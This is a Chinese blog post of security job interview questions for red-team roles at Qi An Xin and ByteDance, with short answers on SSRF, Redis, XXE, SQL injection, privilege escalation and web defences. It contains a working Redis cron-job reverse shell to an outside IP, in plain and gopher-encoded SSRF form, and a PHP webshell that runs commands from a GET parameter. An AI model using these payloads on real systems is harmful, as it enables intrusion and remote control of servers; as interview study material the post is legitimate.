安全春招面经

最近学习有点懈怠了,总结下之前面试遇到的一些问题,查漏补缺
本人水平有限,答案仅供参考

奇安信

一面

好像是红队渗透的岗所以大部分都是JAVA审计,内网,提权免杀的东西

自我介绍,擅长方向

JAVA漏洞原理,Apache shiro 550反序列化原理,反序列化链

strust,weblogic,jboss 熟悉漏洞原理,反序列化链,攻击方式

strust2绕waf的方法 payload编码绕过

SSRF利用面

  1. 访问内网文件识别web指纹
  2. 探测内网主机存活,应用
  3. 攻击内网应用程序,如redis
  4. 利用协议访问相应文件 file, gopher, dict, ftp
  5. DoS攻击(请求大文件,始终保持连接keep-alive always)

Redis未授权,SSRF打Redis未授权使用的什么协议?
浅析Redis中SSRF的利用

常用gopher dict
常见exp

redis-cli -h $1 flushall
echo -e "

*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1

"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

改成适配gopher的url

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

NTLM relay攻击
https://zhuanlan.zhihu.com/p/64889695

JAVA SSRF协议限制
由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用 curl -V 查看。
支持file ftp mailto http https jar netdoc

如何绕过SSRF对协议的限制
没回答出来,应该是302跳转
DNS Rebinding 攻击绕过 ssrf 限制
其他绕过总结:https://www.secpulse.com/archives/65832.html

Redis getshell思路,获取shell条件

  1. 写SSHkey
  • root账号启动redis服务
  • 服务器开放SSH服务,允许密钥登录。
  1. 写计划任务
  • redis是root用户启动
  • crontab反弹debian,ubuntu都不行
  1. 主从复制
  • 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
  • 然后在从机上加载so文件,我们就可以执行拓展的新命令了。

windows下获取redis shell

  • 写入webshell,需要知道web路径
  • 写入启动项,需要目标服务器重启
  • 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

介绍一下XXE,如何进行XXE盲注
参数实体引用
https://www.t00ls.net/articles-32919.html

审计XXE的思路,XXE相关的函数
JAVA

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

PHP

SimpleXMLElement、simplexml_load_string

JAVA和PHP审计与命令执行相关的函数
PHP

1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

JAVA

Shiro 721 Padding Oracle攻击漏洞原理

JAVA代码审计思路

JAVA框架的预编译

Mybatis
Hibernet
Preparedstatement

使用预编译后还能进行sql注入吗
堆叠注入
gbk编码可能会有宽字节
开报错会有报错注入
Mybatis框架注入漏洞
https://xz.aliyun.com/t/3950

mysql注入点,获取shell的方法

  1. select into file
  2. 写日志 前提条件

报错注入能使用日志来getshell吗

UDF提权,MOF提权
UDF:已知mysql账号密码
MOF:windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null

sqlserver提权的办法
https://y4er.com/post/mssql-getshell/
xp_cmdshell
差异备份
log备份

oracle提权的办法

注入点的前端有json加密,如何进行利用,比如数据包中带了一个token

无回显的sql注入如何进行,带外注入是使用的哪些函数
load_file()
secure_file_priv =""取磁盘目录

secure_file_priv = G|可以读取G盘文件

secure_file_priv = null load_file限制,不能加载文件在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件
对目标信息收集,收集哪些方面的内容

子域名收集的方法

找真实IP的方法

找目标网站后台的思路

  1. 字典爆破,常见后台路径
  2. 御剑,nmap,awvs扫目录
  3. 开源类程序CMS固定后台
  4. 源码泄漏,网站备份泄漏,敏感文件泄漏
  5. 二级域名,子域名
  6. 其他端口
  7. 盲打xss

除了上述还有其他办法吗?

XSS实战经历(打cookie的实例)

XSS的利用面

XSS在内网中的利用方法

XSS内网探测的原理

文件上传绕过waf,或者代码防护的办法

白名单的上传点,有getshell的办法吗

解析漏洞,介绍一下nginx的解析漏洞
我只说了%00截断
还有php配置错误导致的解析漏洞/test.jpg/test.php
CVE-2013-4547

PHP审计,上传所涉及的函数,命令执行的函数

绕过disable_function

  1. 系统组件绕过
    window com组件(php 5.4)(高版本扩展要自己添加)
    条件:要在php.ini中开启(如图)
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
  1. ImageMagick漏洞
  2. 利用环境变量LD_PRELOAD
  3. 利用pcntl_exec
  4. php7.4 ffi

Windows提权方法

linux提权方法

免杀方面的工作做过吗

webshell的免杀,蚁剑的编码器了解过吗

检测冰蝎的流量特征

PHP反序列化,魔术方法

__to_string是什么时候触发的呢

PHP审计经验,有复现或者审计过哪些漏洞

thinkphp5 RCE的原理

tp5 RCE实战中存在一些坑点了解过吗

还了解哪些php的洞,介绍一下原理

拿到webshell进行内网渗透的流程,应该干嘛

找域控有哪些方法

内网中有哪些经典的漏洞了解吗,ms17010 07068这种

windows下抓密码的工具了解吗

抓明文密码的原理

抓明文被杀软拦截了,有什么办法

hashdump了解过是如何获取到hash的吗

域渗透权限维持的方法

用过CS吗

介绍一个印象最深的渗透经历

python线程和协程的区别
https://www.jianshu.com/p/0ec911909dff
https://blog.csdn.net/sinat_26917383/article/details/68951673

字节

一面

自我介绍

渗透思路 给你一个登录页面 你有哪些思路
说得越全越好, XSS, SQL注入, 二次注入, 暴力破解,验证码机制时效性,万能密码,其他功能逻辑漏洞

平时工作的一些工作内容

sql注入getshell的方法 除了--os-shell
select into outfile 写日志
udf提权 mof提权 原理 条件

开发的钓鱼邮件平台的技术架构,大致过程,测试效果

反序列化的原理,魔术方法

CORS漏洞的原理,讲一讲同源策略

SSRF攻击面
打内网 strust redis

怎么打redis
gopher redis未授权

nginx相关的了解吗

讲一讲web渗透的经历

web渗透的思路

linux中> 和>>的区别知道吗
>是覆盖原有内容
>>是追加内容

二面

讲一讲XSS

代码层防护怎么做?

富文本场景怎么做?

  1. 内容白名单
  2. CSP

CSP原理知道吗?CSP有哪几种方式防护xss?CSP有几种模式知道吗?
内容安全策略( CSP )

  • 资源加载限制
  • 基于URL的限制
  • 杂项限制和强化选项

我的CSP绕过思路及总结

cookie和session的区别

  1. cookie存储在客户端,session存储在服务端
  2. 有效期不同,一般cookie有效期大于session,session有效期过长服务器累计的session过多会导致内存溢出
  3. Cookie支持跨域,将domain属性设置为“.twosmi1e.com”

cookie里有哪些东西知道吗

  • name
  • value
  • domain cookie绑定的域名
  • path 默认是'/',这个值匹配的是web的路由
  • Expires/Max-age 有效期
  • secure 为true时cookie只在ssl或https等安全协议下传输
  • HttpOnly

http-only起什么作用
属性为true时js不能读取cookie的值
开发会什么语言

同源策略讲下,跨域常用方法
CORS JSONP
如何利用这些 JSONP请求劫持的是什么

JSONP的大致过程 能不能写下JS代码

CSRF如何防护,造成的原理是什么
refer白名单
二次验证

token
后端服务器如何对token进行校验,相关原理?
docker了解吗
了解 知道docker未授权
漏洞原理?

数据安全了解吗
权限最小化,数据脱敏,数据水印,制度红线,安全培训,数据审批

身份认证了解吗,OSS,oauth,ldap,SAML
统一身份认证与授权标准介绍:OpenID,OAuth2,SAML
浅谈SAML, OAuth, OpenID和SSO, JWT和Session

主机安全了解吗
其核心内容包括安全应用交付系统、应用监管系统、操作系统安全增强系统和运维安全管控系统。它的具体功能是指保证主机在数据存储和处理的保密性、完整性,可用性,它包括硬件、固件、系统软件的自身安全,以及一系列附加的安全技术和安全管理措施,从而建立一个完整的主机安全保护环境。

接口安全了解吗
API接口安全性设计
安全|API接口安全性设计(防篡改和重复调用)
防篡改, 防重复调用

  1. Token授权机制
  2. 时间戳超时机制
  3. API签名机制

app渗透了解吗

逆向了解吗

学过编译原理吗

原文地址:https://www.cnblogs.com/twosmi1e/p/13296279.html